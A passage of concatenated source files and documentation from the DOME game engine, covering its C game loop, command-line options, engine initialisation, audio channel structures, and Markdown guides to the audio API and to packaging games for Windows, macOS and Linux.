buttonName; switch (event.button.button) { case SDL_BUTTON_LEFT: buttonName = "left"; break; case SDL_BUTTON_MIDDLE: buttonName = "middle"; break; case SDL_BUTTON_RIGHT: buttonName = "right"; break; case SDL_BUTTON_X1: buttonName = "x1"; break; default: case SDL_BUTTON_X2: buttonName = "x2"; break; } bool state = event.button.state == SDL_PRESSED; interpreterResult = INPUT_update(vm, DOME_INPUT_MOUSE, buttonName, state); if (interpreterResult != WREN_RESULT_SUCCESS) { return EXIT_FAILURE; } } break; case SDL_USEREVENT: { ENGINE_printLog(engine, "Event code %i\n", event.user.code); if (event.user.code == EVENT_LOAD_FILE) { FILESYSTEM_loadEventComplete(&event); } } } } if (inputCaptured) { interpreterResult = INPUT_commit(vm); if (interpreterResult != WREN_RESULT_SUCCESS) { return EXIT_FAILURE; } } return EXIT_SUCCESS; } internal int LOOP_render(LOOP_STATE* state) { if (PLUGIN_COLLECTION_runHook(state->engine, DOME_PLUGIN_HOOK_PRE_DRAW) != DOME_RESULT_SUCCESS) { return EXIT_FAILURE; }; WrenInterpretResult interpreterResult; wrenEnsureSlots(state->vm, 8); wrenSetSlotHandle(state->vm, 0, state->gameClass); wrenSetSlotDouble(state->vm, 1, ((double)state->lag / state->MS_PER_FRAME)); interpreterResult = wrenCall(state->vm, state->drawMethod); if (interpreterResult != WREN_RESULT_SUCCESS) { return EXIT_FAILURE; } if (PLUGIN_COLLECTION_runHook(state->engine, DOME_PLUGIN_HOOK_POST_DRAW) != DOME_RESULT_SUCCESS) { return EXIT_FAILURE; }; return EXIT_SUCCESS; } internal void LOOP_flip(LOOP_STATE* state) { state->engine->debug.elapsed = state->elapsed; if (state->engine->debugEnabled) { ENGINE_drawDebug(state->engine); } // Flip Buffer to Screen SDL_UpdateTexture(state->engine->texture, 0, state->engine->canvas.pixels, state->engine->canvas.width * 4); // Flip buffer for recording if (state->engine->record.makeGif) { size_t imageSize = state->engine->canvas.width * state->engine->canvas.height * 4; memcpy(state->engine->record.gifPixels, state->engine->canvas.pixels, imageSize); } // clear screen SDL_RenderClear(state->engine->renderer); SDL_RenderCopy(state->engine->renderer, state->engine->texture, NULL, NULL); SDL_RenderPresent(state->engine->renderer); } internal int LOOP_update(LOOP_STATE* state) { WrenInterpretResult interpreterResult; if (PLUGIN_COLLECTION_runHook(state->engine, DOME_PLUGIN_HOOK_PRE_UPDATE) != DOME_RESULT_SUCCESS) { return EXIT_FAILURE; }; wrenEnsureSlots(state->vm, 8); wrenSetSlotHandle(state->vm, 0, state->gameClass); interpreterResult = wrenCall(state->vm, state->updateMethod); if (interpreterResult != WREN_RESULT_SUCCESS) { return EXIT_FAILURE; } if (PLUGIN_COLLECTION_runHook(state->engine, DOME_PLUGIN_HOOK_POST_UPDATE) != DOME_RESULT_SUCCESS) { return EXIT_FAILURE; }; // updateAudio() AUDIO_ENGINE_update(state->engine->audioEngine, state->vm); return EXIT_SUCCESS; } internal void printTitle(ENGINE* engine) { ENGINE_printLog(engine, "DOME - Design-Oriented Minimalist Engine\n"); } internal void printVersion(ENGINE* engine) { ENGINE_printLog(engine, "Version: " DOME_VERSION " - " DOME_HASH "\n"); SDL_version compiled; SDL_version linked; SDL_VERSION(&compiled); SDL_GetVersion(&linked); ENGINE_printLog(engine, "SDL version: %d.%d.%d (Compiled)\n", compiled.major, compiled.minor, compiled.patch); ENGINE_printLog(engine, "SDL version %d.%d.%d (Linked)\n", linked.major, linked.minor, linked.patch); ENGINE_printLog(engine, "Wren version: %d.%d.%d\n", WREN_VERSION_MAJOR, WREN_VERSION_MINOR, WREN_VERSION_PATCH); ENGINE_printLog(engine, "\n"); } internal void printUsage(ENGINE* engine) { ENGINE_printLog(engine, "\nUsage: \n"); ENGINE_printLog(engine, " dome [options]\n"); ENGINE_printLog(engine, " dome [options] [--] entry_path [arguments]\n"); ENGINE_printLog(engine, " dome -e | --embed sourceFile [moduleName] [destinationFile]\n"); ENGINE_printLog(engine, " dome -h | --help\n"); ENGINE_printLog(engine, " dome -v | --version\n"); ENGINE_printLog(engine, "\nOptions: \n"); ENGINE_printLog(engine, " -b --buffer=<buf> Set the audio buffer size (default: 11)\n"); #ifdef __MINGW32__ ENGINE_printLog(engine, " -c --console Opens a console window for development.\n"); #endif ENGINE_printLog(engine, " -d --debug Enables debug mode.\n"); ENGINE_printLog(engine, " -e --embed Converts a Wren source file to a C include file.\n"); ENGINE_printLog(engine, " -h --help Show this screen.\n"); ENGINE_printLog(engine, " -r --record=<gif> Record video to <gif>.\n"); ENGINE_printLog(engine, " -v --version Show version.\n"); } int main(int argc, char* args[]) { // configuring the buffer has to be first setbuf(stdout, NULL); setvbuf(stdout, NULL, _IONBF, 0); setbuf(stderr, NULL); setvbuf(stderr, NULL, _IONBF, 0); int result = EXIT_SUCCESS; WrenVM* vm = NULL; size_t gameFileLength; char* gameFile; INIT_TO_ZERO(ENGINE, engine); engine.record.gifName = "test.gif"; engine.record.makeGif = false; INIT_TO_ZERO(LOOP_STATE, loop); loop.FPS = 60; loop.MS_PER_FRAME = ceil(1000.0 / loop.FPS); ENGINE_init(&engine); loop.engine = &engine; struct optparse_long longopts[] = { {"buffer", 'b', OPTPARSE_REQUIRED}, #ifdef __MINGW32__ {"console", 'c', OPTPARSE_NONE}, #endif {"debug", 'd', OPTPARSE_NONE}, {"embed", 'e', OPTPARSE_NONE}, {"help", 'h', OPTPARSE_NONE}, {"record", 'r', OPTPARSE_OPTIONAL}, {"scale", 's', OPTPARSE_REQUIRED}, {"version", 'v', OPTPARSE_NONE}, {0} }; int option; struct optparse options; optparse_init(&options, args); while ((option = optparse_long(&options, longopts, NULL)) != -1) { switch (option) { case 's': { int scale = atoi(options.optarg); if (scale <= 0) { // If it wasn't valid, set to a meaningful default. GIF_SCALE = 1; } GIF_SCALE = scale; } break; case 'b': { int shift = atoi(options.optarg); if (shift == 0) { // If it wasn't valid, set to a meaningful default. AUDIO_BUFFER_SIZE = 2048; } AUDIO_BUFFER_SIZE = 1 << shift; } break; #ifdef __MINGW32__ case 'c': { AllocConsole(); freopen("CONIN$", "r", stdin); freopen("CONOUT$", "w", stdout); freopen("CONOUT$", "w", stderr); } break; #endif case 'd': DEBUG_MODE = true; ENGINE_printLog(&engine, "Debug Mode enabled\n"); break; case 'e': WRENEMBED_encodeAndDumpInDOME(argc, args); goto cleanup; case 'h': printTitle(&engine); printUsage(&engine); goto cleanup; case 'r': engine.record.makeGif = true; if (options.optarg != NULL) { engine.record.gifName = options.optarg; } else { engine.record.gifName = "dome.gif"; } ENGINE_printLog(&engine, "GIF Recording is enabled: Saving to %s\n", engine.record.gifName); break; case 'v': printTitle(&engine); printVersion(&engine); goto cleanup; case '?': fprintf(stderr, "%s: %s\n", args[0], options.errmsg); result = EXIT_FAILURE; goto cleanup; } } { char* defaultEggName = "game.egg"; char* mainFileName = "main.wren"; char* base = BASEPATH_get(); char pathBuf[PATH_MAX]; char* fileName = NULL; // Get non-option args list engine.argv = calloc(max(2, argc), sizeof(char*)); engine.argv[0] = args[0]; engine.argv[1] = NULL; int domeArgCount = 1; char* otherArg = NULL; while ((otherArg = optparse_arg(&options))) { engine.argv[domeArgCount] = otherArg; domeArgCount++; } bool autoResolve = (domeArgCount == 1); domeArgCount = max(2, domeArgCount); engine.argv = realloc(engine.argv, sizeof(char*) * domeArgCount); engine.argc = domeArgCount; char* arg = NULL; if (domeArgCount > 1) { arg = engine.argv[1]; } // Get establish the path components: filename(?) and basepath. if (arg != NULL) { strcpy(pathBuf, base); strcat(pathBuf, arg); if (isDirectory(pathBuf)) { BASEPATH_set(pathBuf); autoResolve = true; } else { char* dirc = strdup(pathBuf); char* basec = strdup(pathBuf); // This sets the filename used. fileName = strdup(basename(dirc)); BASEPATH_set(dirname(basec)); free(dirc); free(basec); } base = BASEPATH_get(); } // If a filename is given in the path, use it, or assume its 'game.egg' strcpy(pathBuf, base); strcat(pathBuf, !autoResolve ? fileName : defaultEggName); if (doesFileExist(pathBuf)) { // the current path exists, let's see if it's a TAR file. engine.tar = malloc(sizeof(mtar_t)); int tarResult = mtar_open(engine.tar, pathBuf, "r"); if (tarResult == MTAR_ESUCCESS) { ENGINE_printLog(&engine, "Loading bundle %s\n", pathBuf); engine.argv[1] = strdup(pathBuf); } else { // Not a valid tar file. free(engine.tar); engine.tar = NULL; } } chdir(base); if (engine.tar != NULL) { // It is a tar file, we need to look for a "main.wren" entry point. strcpy(pathBuf, mainFileName); } else { // Not a tar file, use the given path or main.wren strcpy(pathBuf, base); strcat(pathBuf, !autoResolve ? fileName : mainFileName); engine.argv[1] = strdup(pathBuf); strcpy(pathBuf, !autoResolve ? fileName : mainFileName); } if (fileName != NULL) { free(fileName); } // The basepath is incorporated later, so we pass the basename version to this method. gameFile = ENGINE_readFile(&engine, pathBuf, &gameFileLength); if (gameFile == NULL) { if (engine.tar != NULL) { ENGINE_printLog(&engine, "Error: Could not load %s in bundle.\n", pathBuf); } else { ENGINE_printLog(&engine, "Error: Could not load %s.\n", pathBuf); } printUsage(&engine); result = EXIT_FAILURE; goto cleanup; } } result = ENGINE_start(&engine); if (result == EXIT_FAILURE) { goto cleanup; } // Configure Wren VM vm = VM_create(&engine); WrenInterpretResult interpreterResult; loop.vm = vm; // Load user game file SDL_Thread* recordThread = NULL; WrenHandle* initMethod = NULL; interpreterResult = wrenInterpret(vm, "main", gameFile); free(gameFile); if (interpreterResult != WREN_RESULT_SUCCESS) { result = EXIT_FAILURE; goto vm_cleanup; } // Load the class into slot 0. wrenEnsureSlots(vm, 3); initMethod = wrenMakeCallHandle(vm, "init()"); wrenGetVariable(vm, "main", "Game", 0); loop.gameClass = wrenGetSlotHandle(vm, 0); loop.updateMethod = wrenMakeCallHandle(vm, "update()"); loop.drawMethod = wrenMakeCallHandle(vm, "draw(_)"); SDL_SetRenderDrawColor(engine.renderer, 0x00, 0x00, 0x00, 0xFF); // Initiate game loop wrenSetSlotHandle(vm, 0, loop.gameClass); interpreterResult = wrenCall(vm, initMethod); if (interpreterResult != WREN_RESULT_SUCCESS) { result = EXIT_FAILURE; goto vm_cleanup; } // Release this handle if it finished successfully wrenReleaseHandle(vm, initMethod); initMethod = NULL; engine.initialized = true; SDL_SetWindowPosition(engine.window, SDL_WINDOWPOS_CENTERED, SDL_WINDOWPOS_CENTERED); SDL_ShowWindow(engine.window); // Resizing from init must happen before we begin recording if (engine.record.makeGif) { recordThread = SDL_CreateThread(ENGINE_record, "DOMErecorder", &engine); } loop.lag = loop.MS_PER_FRAME; result = LOOP_processInput(&loop); if (result != EXIT_SUCCESS) { goto vm_cleanup; } loop.windowBlurred = false; uint64_t previousTime = SDL_GetPerformanceCounter(); while (engine.running) { // processInput() if (loop.windowBlurred) { result = LOOP_processInput(&loop); if (result != EXIT_SUCCESS) { goto vm_cleanup; } } uint64_t currentTime = SDL_GetPerformanceCounter(); loop.elapsed = 1000 * (currentTime - previousTime) / (double) SDL_GetPerformanceFrequency(); previousTime = currentTime; // If we aren't focused, we skip the update loop and let the CPU sleep // to be good citizens if (loop.windowBlurred) { SDL_Delay(50); continue; } if(fabs(loop.elapsed - 1.0/120.0) < .0002){ loop.elapsed = 1.0/120.0; } if(fabs(loop.elapsed - 1.0/60.0) < .0002){ loop.elapsed = 1.0/60.0; } if(fabs(loop.elapsed - 1.0/30.0) < .0002){ loop.elapsed = 1.0/30.0; } loop.lag += loop.elapsed; if (engine.lockstep) { if (loop.lag >= loop.MS_PER_FRAME) { result = LOOP_processInput(&loop); if (result != EXIT_SUCCESS) { goto vm_cleanup; } result = LOOP_update(&loop); if (result != EXIT_SUCCESS) { goto vm_cleanup; } result = LOOP_render(&loop); if (result != EXIT_SUCCESS) { goto vm_cleanup; } loop.lag = mid(0, loop.lag - loop.MS_PER_FRAME, loop.MS_PER_FRAME); LOOP_flip(&loop); } } else { loop.attempts = 5; while (loop.attempts > 0 && loop.lag >= loop.MS_PER_FRAME) { loop.attempts--; result = LOOP_processInput(&loop); if (result != EXIT_SUCCESS) { goto vm_cleanup; } // update() result = LOOP_update(&loop); if (result != EXIT_SUCCESS) { goto vm_cleanup; } loop.lag -= loop.MS_PER_FRAME; } // render(); result = LOOP_render(&loop); if (result != EXIT_SUCCESS) { goto vm_cleanup; } if (loop.attempts == 0) { loop.lag = 0; } LOOP_flip(&loop); } if (!engine.vsyncEnabled) { SDL_Delay(1); } } vm_cleanup: if (recordThread != NULL) { SDL_WaitThread(recordThread, NULL); } // Finish processing async threads so we can release resources ENGINE_finishAsync(&engine); SDL_Event event; while(SDL_PollEvent(&event)) { if (event.type == SDL_USEREVENT) { if (event.user.code == EVENT_LOAD_FILE) { FILESYSTEM_loadEventComplete(&event); } } } // Free resources ENGINE_reportError(&engine); if (initMethod != NULL) { wrenReleaseHandle(vm, initMethod); } LOOP_release(&loop); if (bufferClass != NULL) { wrenReleaseHandle(vm, bufferClass); } INPUT_release(vm); AUDIO_ENGINE_halt(engine.audioEngine); AUDIO_ENGINE_releaseHandles(engine.audioEngine, vm); cleanup: BASEPATH_free(); VM_free(vm); result = engine.exit_status; ENGINE_free(&engine); //Quit SDL subsystems if (strlen(SDL_GetError()) > 0) { SDL_Quit(); } return result; } <file_sep>/docs/modules/audio.md [< Back](.) audio ================ The `audio` module lets you play audio files such as music or sound effects. It contains the following classes: * [AudioEngine](#audioengine) * [AudioChannel](#audiochannel) * [AudioState](#audiostate) ## AudioEngine DOME supports playback of audio files in OGG and WAV formats. It will convert all files to its native sample rate of 44.1kHz (CD quality audio), but the re-sampling algorithm used is naive and may introduce audio artifacts. It is recommended that you produce your audio with a 44.1kHz sample-rate, for the best quality audio. An audio file is loaded from disk into memory using the `load` function, and remains in memory until you call `unload(_)` or `unloadAll()`, or when DOME closes. If the audio needs to be resampled, this may take some time and block the main thread. When an audio file is about to be played, DOME allocates it an "audio channel", which handles the settings for volume, looping and panning. Once the audio is stopped or finishes playing, that channel is no longer usable, and a new one will need to be acquired. ### Example ```wren AudioEngine.load("fire", "res/Laser_Shoot.wav") var channel = AudioEngine.play("fire") channel.stop() ... AudioEngine.unload("fire") ``` ### Methods #### `static register(name: String, path: String)` DOME keeps a mapping from a developer-friendly name to the file path. Calling this method sets up this mapping, but doesn't load that file into memory. #### `static load(name: String)` If the `name` has been mapped to a file path, DOME will load that file into memory, ready to play. #### `static load(name: String, path: String)` This combines the `register(_,_)` and `load(_)` calls, for convenience. #### `static play(name: String): AudioChannel` Plays the named audio sample once, at maximum volume, with equal pan. #### `static play(name: String, volume: Number): AudioChannel` Plays the named audio sample once, at _volume_, with equal pan. #### `static play(name: String, volume: Number, loop: Boolean): AudioChannel` Plays the named audio sample, at _volume_, with equal pan. If _loop_ is set, the sample will repeat once playback completes. #### `static play(name: String, volume: Number, loop: Boolean, pan: Number): AudioChannel` Play the named audio sample and returns the channel object representing that playback. The other parameters are explained in the [AudioChannel](#audiochannel) api. #### `static stopAllChannels()` Stop all playing audio channels. #### `static unloadAll()` Releases the resources of the all currently loaded audio samples. This will halt any audio using that sample immediately. #### `static unload(name: String)` Releases the resources of the chosen audio sample. This will halt any audio using that sample immediately. ## AudioChannel These are created when you `play` a buffer of AudioData using the AudioEngine. You cannot construct these directly. A playing audio channel has three main properties: * _volume_ - A value with minimum 0.0 for the volume. * _loop_ - If true, the audio channel will loop once it is complete. * _pan_ - A value between -1.0 and 1.0 which divides the audio playback between left and right stereo channels. ### Instance Fields #### `finished: Boolean` Returns true if the audio channel has finished playing. It cannot be restarted after this point. #### `length: Number` The total number of samples in this channel's audio buffer. You should divide this by `44100` to get the length in seconds. #### `loop: Boolean` You can set this to control whether the sample will loop once it completes, or stop. The channel will become invalid if it reaches the end of the sample and `loop` is false. #### `pan: Number` You can read and modify the pan position, as a bounded value between -1.0 and 1.0. #### `position: Number` This marks the position of the next sample to be loaded into the AudioEngine mix buffer (which happens on a seperate thread). You can set a new position for the channel, but it isn't going to be exact, due to delays in audio processing. You should divide this by `44100` to get the position in seconds. #### `soundId: String` This is the sample name used for this sound. #### `state: AudioState` This is an enum which represents the current state of the audio. #### `volume: Number` This returns a number with a minimum of 0.0 representing the volume of the channel. 1.0 is the default for the audio data. You can set this to change the volume. ### Instance Methods #### `stop(): Void` Requests that the channel stops as soon as possible. ## AudioState AudioChannel objects can be in one of the following states: - AudioState.INITIALIZE - AudioState.TO_PLAY - AudioState.PLAYING - AudioState.STOPPING - AudioState.STOPPED <file_sep>/src/audio/engine.h typedef enum { AUDIO_TYPE_UNKNOWN, AUDIO_TYPE_WAV, AUDIO_TYPE_OGG } AUDIO_TYPE; struct CHANNEL_t { volatile CHANNEL_STATE state; CHANNEL_REF ref; bool stopRequested; CHANNEL_mix mix; CHANNEL_callback update; CHANNEL_callback finish; void* userdata; }; typedef struct { SDL_AudioSpec spec; AUDIO_TYPE audioType; // Length is the number of LR samples uint32_t length; // Audio is stored as a stream of interleaved normalised values from [-1, 1) float* buffer; } AUDIO_DATA; struct AUDIO_CHANNEL_PROPS { // Control variables bool loop; // Playback variables float volume; float pan; // Position is the sample value to play next volatile size_t position; bool resetPosition; }; typedef struct { struct AUDIO_CHANNEL_PROPS current; struct AUDIO_CHANNEL_PROPS new; char* soundId; float actualVolume; float actualPan; bool fade; AUDIO_DATA* audio; WrenHandle* audioHandle; } AUDIO_CHANNEL; internal void AUDIO_CHANNEL_mix(CHANNEL_REF ref, float* stream, size_t totalSamples); internal void AUDIO_CHANNEL_update(CHANNEL_REF ref, WrenVM* vm); internal void AUDIO_CHANNEL_finish(CHANNEL_REF ref, WrenVM* vm); internal void CHANNEL_requestStop(CHANNEL* channel); internal void* CHANNEL_getData(CHANNEL* channel); internal inline bool CHANNEL_isPlaying(CHANNEL* channel); <file_sep>/src/util/embed.c #include "wrenembed.c" #include <string.h> int main(int argc, char* args[]) { if (argc < 2) { printf("./embed sourceFile [moduleName] [destinationFile]\n"); printf("Not enough arguments.\n"); return EXIT_FAILURE; } return WRENEMBED_encodeAndDump(argc, args); } <file_sep>/docs/guides/distribution.md [< Back](..) Distributing your games =================== DOME is designed to be cross-platform, and so the same Wren game files and assets should work across Windows, Mac and Linux. On Mac and Linux, the SDL2 shared library will need to be provided. ## Basic Packaging The easiest way to share a game you've made is to place a DOME binary, your source code and game assets into a single zip file. Do this once for each platform you wish to support, and share those zip files with your users. ## NEST - Easy bundling _(Please note: NEST is still in development, and has to be built from source)_ For easy distribution, you can package all of your games resources into a single `.egg` file using a tool called [NEST](https://github.com/domeengine/nest). DOME automatically plays any file named `game.egg` in the current working directory. If you use a `.egg` file, DOME expects your game to start from a `main.wren` in the base directory as it's entry point. Install NEST, and then navigate to your main game directory, before running the following: ``` > nest -z -o game.egg -- [files | directories] ``` ## Cross-Platform Distribution _(You can ignore this section if you are using pre-compiled DOME binaries.)_ This section discusses the needs of various platforms when distributing games with DOME. ### Windows On Windows, DOME comes compiled with all it's dependancies, so you just need to provide your game files. ### Mac OS X On Mac, the SDL2 library needs to be provided. This can either be globally installed, or you can package it as part of an application bundle, using the following layout: ``` +-- Game.app +-- Contents +-- Info.plist +-- MacOS +-- dome +-- libSDL2.dylib +-- Game (This is a small runscript) +-- Resources +-- game.egg +-- icon.icns ``` The runscript is very simple and looks like this: ```bash #!/bin/bash cd "${0%/*}" ./dome ``` Finally, the Info.plist at minimum needs to look like this: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>CFBundleExecutable</key> <string>Game</string> <key>CFBundleIconFile</key> <string>icon</string> <key>NSHighResolutionCapable</key> <true/> </dict> </plist> ``` The .app bundle, runscript and the `CFBundleExecutable` must all be named the same. Doing this results in a self contained and easy to distribute application bundle. ### Linux To run your game on linux, make sure SDL2 is installed, then run the dome executable with a `game.egg` file in the same directory. <file_sep>/src/engine.c internal void getColorComponents(uint32_t color, uint8_t *r, uint8_t *g, uint8_t *b) { *r = color & 0xFF; *g = (color & (0xFF << 8)) >> 8; *b = (color & (0xFF << 16)) >> 16; } internal int ENGINE_record(void* ptr) { // Thread: Seperate gif record ENGINE* engine = ptr; size_t imageSize = engine->canvas.width * engine->canvas.height; engine->record.gifPixels = (uint32_t*)malloc(imageSize*4*sizeof(uint8_t)); size_t scale = GIF_SCALE; uint32_t* scaledPixels = (uint32_t*)malloc(imageSize*4*sizeof(uint8_t)* scale * scale); CANVAS canvas = engine->canvas; jo_gif_t gif = jo_gif_start(engine->record.gifName, canvas.width * scale, canvas.height * scale, 0, 31); uint8_t FPS = 30; double MS_PER_FRAME = ceil(1000.0 / FPS); double lag = 0; uint64_t previousTime = SDL_GetPerformanceCounter(); do { SDL_Delay(1); uint64_t currentTime = SDL_GetPerformanceCounter(); double elapsed = 1000 * (currentTime - previousTime) / (double)SDL_GetPerformanceFrequency(); previousTime = currentTime; if(fabs(elapsed - 1.0/120.0) < .0002){ elapsed = 1.0/120.0; } if(fabs(elapsed - 1.0/60.0) < .0002){ elapsed = 1.0/60.0; } if(fabs(elapsed - 1.0/30.0) < .0002){ elapsed = 1.0/30.0; } lag += elapsed; if (lag >= MS_PER_FRAME) { if (scale > 1) { for (size_t j = 0; j < canvas.height * scale; j++) { for (size_t i = 0; i < canvas.width * scale; i++) { size_t u = i / scale; size_t v = j / scale; int32_t c = ((uint32_t*)engine->record.gifPixels)[v * canvas.width + u]; scaledPixels[j * canvas.width * scale + i] = c; } } jo_gif_frame(&gif, (uint8_t*)scaledPixels, 4, true); } else { jo_gif_frame(&gif, (uint8_t*)engine->record.gifPixels, 3, true); } lag -= MS_PER_FRAME; } } while(engine->running); jo_gif_end(&gif); free(engine->record.gifPixels); return 0; } internal void ENGINE_openLogFile(ENGINE* engine) { // DOME-2020-02-02-090000.log char* filename = "DOME-out.log"; engine->debug.logFile = fopen(filename, "w+"); } internal void ENGINE_printLogVariadic(ENGINE* engine, const char* line, va_list argList) { va_list args; va_copy(args, argList); size_t bufSize = vsnprintf(NULL, 0, line, args) + 1; va_end(args); char buffer[bufSize]; buffer[0] = '\0'; va_copy(args, argList); vsnprintf(buffer, bufSize, line, args); va_end(args); // Output to console printf("%s", buffer); if (engine->debug.logFile == NULL) { ENGINE_openLogFile(engine); } if (engine->debug.logFile != NULL) { // Output to file fputs(buffer, engine->debug.logFile); fflush(engine->debug.logFile); } } internal void ENGINE_printLog(ENGINE* engine, char* line, ...) { // Args is mutated by each vsnprintf call, // so it needs to be reinitialised. va_list args; va_start(args, line); ENGINE_printLogVariadic(engine, line, args); va_end(args); } internal ENGINE_WRITE_RESULT ENGINE_writeFile(ENGINE* engine, const char* path, const char* buffer, size_t length) { const char* fullPath; if (path[0] != '/') { const char* base = BASEPATH_get(); fullPath = malloc(strlen(base)+strlen(path)+1); strcpy((void*)fullPath, base); /* copy name into the new var */ strcat((void*)fullPath, path); /* add the extension */ } else { fullPath = path; } ENGINE_printLog(engine, "Writing to filesystem: %s\n", path); int result = writeEntireFile(fullPath, buffer, length); if (result == ENOENT) { result = ENGINE_WRITE_PATH_INVALID; } else { result = ENGINE_WRITE_SUCCESS; } if (path[0] != '/') { free((void*)fullPath); } return result; } internal char* ENGINE_readFile(ENGINE* engine, const char* path, size_t* lengthPtr) { char pathBuf[PATH_MAX]; if (strncmp(path, "./", 2) == 0) { strcpy(pathBuf, path + 2); } else { strcpy(pathBuf, path); } if (engine->tar != NULL) { ENGINE_printLog(engine, "Reading from bundle: %s\n", pathBuf); char* file = NULL; int err = readFileFromTar(engine->tar, pathBuf, lengthPtr, &file); if (err == MTAR_ESUCCESS) { return file; } if (DEBUG_MODE) { ENGINE_printLog(engine, "Couldn't read %s from bundle: %s. Falling back\n", pathBuf, mtar_strerror(err)); } } if (path[0] != '/') { strcpy(pathBuf, BASEPATH_get()); strcat(pathBuf, path); } if (!doesFileExist(pathBuf)) { return NULL; } ENGINE_printLog(engine, "Reading from filesystem: %s\n", pathBuf); return readEntireFile(pathBuf, lengthPtr); } internal int ENGINE_taskHandler(ABC_TASK* task) { if (task->type == TASK_PRINT) { printf("%s\n", (char*)task->data); task->resultCode = 0; // TODO: Push to SDL Event Queue } else if (task->type == TASK_LOAD_FILE) { FILESYSTEM_loadEventHandler(task->data); } else if (task->type == TASK_WRITE_FILE) { } return 0; } internal bool ENGINE_setupRenderer(ENGINE* engine, bool vsync) { engine->vsyncEnabled = vsync; if (engine->renderer != NULL) { SDL_DestroyRenderer(engine->renderer); } int flags = SDL_RENDERER_ACCELERATED; if (vsync) { flags |= SDL_RENDERER_PRESENTVSYNC; } engine->renderer = SDL_CreateRenderer(engine->window, -1, flags); if (engine->renderer == NULL) { return false; } SDL_RenderSetLogicalSize(engine->renderer, engine->canvas.width, engine->canvas.height); engine->texture = SDL_CreateTexture(engine->renderer, SDL_PIXELFORMAT_ABGR8888, SDL_TEXTUREACCESS_STREAMING, engine->canvas.width, engine->canvas.height); if (engine->texture == NULL) { return false; } SDL_RenderGetViewport(engine->renderer, &(engine->viewport)); return true; } internal ENGINE* ENGINE_init(ENGINE* engine) { engine->window = NULL; engine->renderer = NULL; engine->texture = NULL; engine->blitBuffer.pixels = calloc(0, 0); engine->blitBuffer.width = 0; engine->blitBuffer.height = 0; engine->lockstep = false; engine->debug.avgFps = 58; engine->debugEnabled = false; engine->debug.alpha = 0.9; engine->debug.errorBufMax = 0; engine->debug.errorBuf = NULL; engine->debug.errorBufLen = 0; // Initialise the canvas offset. engine->canvas.pixels = NULL; engine->canvas.offsetX = 0; engine->canvas.offsetY = 0; engine->canvas.width = GAME_WIDTH; engine->canvas.height = GAME_HEIGHT; DOME_RECT clip = { .x = 0, .y = 0, .w = GAME_WIDTH, .h = GAME_HEIGHT }; engine->canvas.clip = clip; engine->argv = NULL; engine->argc = 0; // TODO: handle if we can't allocate memory. PLUGIN_COLLECTION_init(engine); return engine; } internal int ENGINE_start(ENGINE* engine) { int result = EXIT_SUCCESS; #if defined _WIN32 SDL_setenv("SDL_AUDIODRIVER", "directsound", true); #endif SDL_SetHint(SDL_HINT_MOUSE_RELATIVE_MODE_WARP, "1"); //Initialize SDL if (SDL_Init(SDL_INIT_VIDEO) < 0) { ENGINE_printLog(engine, "SDL could not initialize! SDL_Error: %s\n", SDL_GetError()); result = EXIT_FAILURE; goto engine_init_end; } //Create window engine->window = SDL_CreateWindow("DOME", SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, SCREEN_WIDTH, SCREEN_HEIGHT, SDL_WINDOW_HIDDEN | SDL_WINDOW_RESIZABLE); if(engine->window == NULL) { char* message = "Window could not be created! SDL_Error: %s\n"; ENGINE_printLog(engine, message, SDL_GetError()); result = EXIT_FAILURE; goto engine_init_end; } ENGINE_setupRenderer(engine, true); if (engine->renderer == NULL) { char* message = "Could not create a renderer: %s"; ENGINE_printLog(engine, message, SDL_GetError()); result = EXIT_FAILURE; goto engine_init_end; } engine->canvas.pixels = calloc(engine->canvas.width * engine->canvas.height, sizeof(char) * 4); if (engine->canvas.pixels == NULL) { result = EXIT_FAILURE; goto engine_init_end; } engine->audioEngine = AUDIO_ENGINE_init(); if (engine->audioEngine == NULL) { result = EXIT_FAILURE; goto engine_init_end; } ENGINE_EVENT_TYPE = SDL_RegisterEvents(1); ABC_FIFO_create(&engine->fifo); engine->fifo.taskHandler = ENGINE_taskHandler; MAP_init(&engine->moduleMap); engine->running = true; engine_init_end: return result; } internal void ENGINE_finishAsync(ENGINE* engine) { if (!engine->fifo.shutdown) { ABC_FIFO_close(&engine->fifo); } } internal void ENGINE_free(ENGINE* engine) { if (engine == NULL) { return; } ENGINE_finishAsync(engine); PLUGIN_COLLECTION_free(engine); if (engine->audioEngine) { AUDIO_ENGINE_free(engine->audioEngine); free(engine->audioEngine); engine->audioEngine = NULL; } if (engine->tar != NULL) { mtar_close(engine->tar); } if (engine->moduleMap.head != NULL) { MAP_free(&engine->moduleMap); } if (engine->blitBuffer.pixels != NULL) { free(engine->blitBuffer.pixels); } if (engine->canvas.pixels != NULL) { free(engine->canvas.pixels); } if (engine->texture != NULL) { SDL_DestroyTexture(engine->texture); } if (engine->renderer != NULL) { SDL_DestroyRenderer(engine->renderer); } if (engine->window != NULL) { SDL_DestroyWindow(engine->window); } if (engine->argv != NULL) { free(engine->argv[1]); free(engine->argv); } // DEBUG features if (engine->debug.logFile != NULL) { fclose(engine->debug.logFile); } if (engine->debug.errorBuf != NULL) { free(engine->debug.errorBuf); } } internal uint32_t ENGINE_pget(ENGINE* engine, int64_t x, int64_t y) { int32_t width = engine->canvas.width; int32_t height = engine->canvas.height; if (0 <= x && x < width && 0 <= y && y < height) { return ((uint32_t*)(engine->canvas.pixels))[width * y + x]; } return 0xFF000000; } inline internal void ENGINE_pset(ENGINE* engine, int64_t x, int64_t y, uint32_t c) { // Account for canvas offset x += engine->canvas.offsetX; y += engine->canvas.offsetY; // Draw pixel at (x,y) int32_t width = engine->canvas.width; DOME_RECT zone = engine->canvas.clip; uint8_t newA = ((0xFF000000 & c) >> 24); if (newA == 0) { return; } else if (zone.x <= x && x < zone.x + zone.w && zone.y <= y && y < zone.y + zone.h) { if (newA < 0xFF) { uint32_t current = ((uint32_t*)(engine->canvas.pixels))[width * y + x]; double normA = newA / (double)UINT8_MAX; double diffA = 1 - normA; uint8_t oldR, oldG, oldB, newR, newG, newB; getColorComponents(current, &oldR, &oldG, &oldB); getColorComponents(c, &newR, &newG, &newB); uint8_t a = 0xFF; uint8_t r = (diffA * oldR + normA * newR); uint8_t g = (diffA * oldG + normA * newG); uint8_t b = (diffA * oldB + normA * newB); c = (a << 24) | (b << 16) | (g << 8) | r; } // This is a very hot line, so we use pointer arithmetic for // speed! 